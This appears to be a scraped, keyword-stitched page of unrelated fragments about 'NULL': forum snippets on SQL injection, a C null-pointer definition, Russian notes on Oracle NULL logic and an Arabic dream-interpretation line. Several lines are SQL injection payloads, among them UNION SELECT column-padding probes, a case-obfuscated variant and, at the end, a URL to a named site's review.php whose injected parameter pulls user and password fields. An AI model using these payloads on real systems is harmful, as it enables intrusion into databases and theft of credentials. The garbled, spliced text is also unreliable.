Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
UNION ALL SELECT NULL, *, NULL, NULL FROM email. I understand what this does and why; the hacker needs to create a query that has the same number of columns as the query it's being merged with, and shifted around the * to make sure the emails are...
If a null pointer constant is converted to a pointer type, the resulting pointer, called a null pointer, is guaranteed to compare unequal to a pointer to any object or function.
Даже выражение NULL != NULL не будет истинным, ведь нельзя одн��значно сравнить одну неизвестность с другой. Кстати, ложным это выражение тоже не будет, потому что при вычислении условий Oracle не ограничивается состояниями ИСТИНА и ЛОЖЬ.
Note: A NULL value is different from a zero value or a field that contains spaces.
11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- Если нет ошибки, значит синтаксис верный, т.е. используется
Best Result For : 999999.9 uNiOn aLl sElEcT cAsT 0x393133353134353632312e39 as char --. تفسير فرط السبحة في المنام.
How can 0 be used for handling null pointers if that is the case? Why isn't a negative number null instead?
It should be noted that NULL pointer is different from an uninitialized and dangling pointer.
P5.1.73-cll3!Padmin_ckg=~= http://www.carnegiegreenaway.org.uk/shadowingsite/review.php?id=999999.9+union+all+select(select+concat(0x3d7e3d,ifnull(user,char(32)),0x332150,ifnull(pass,char...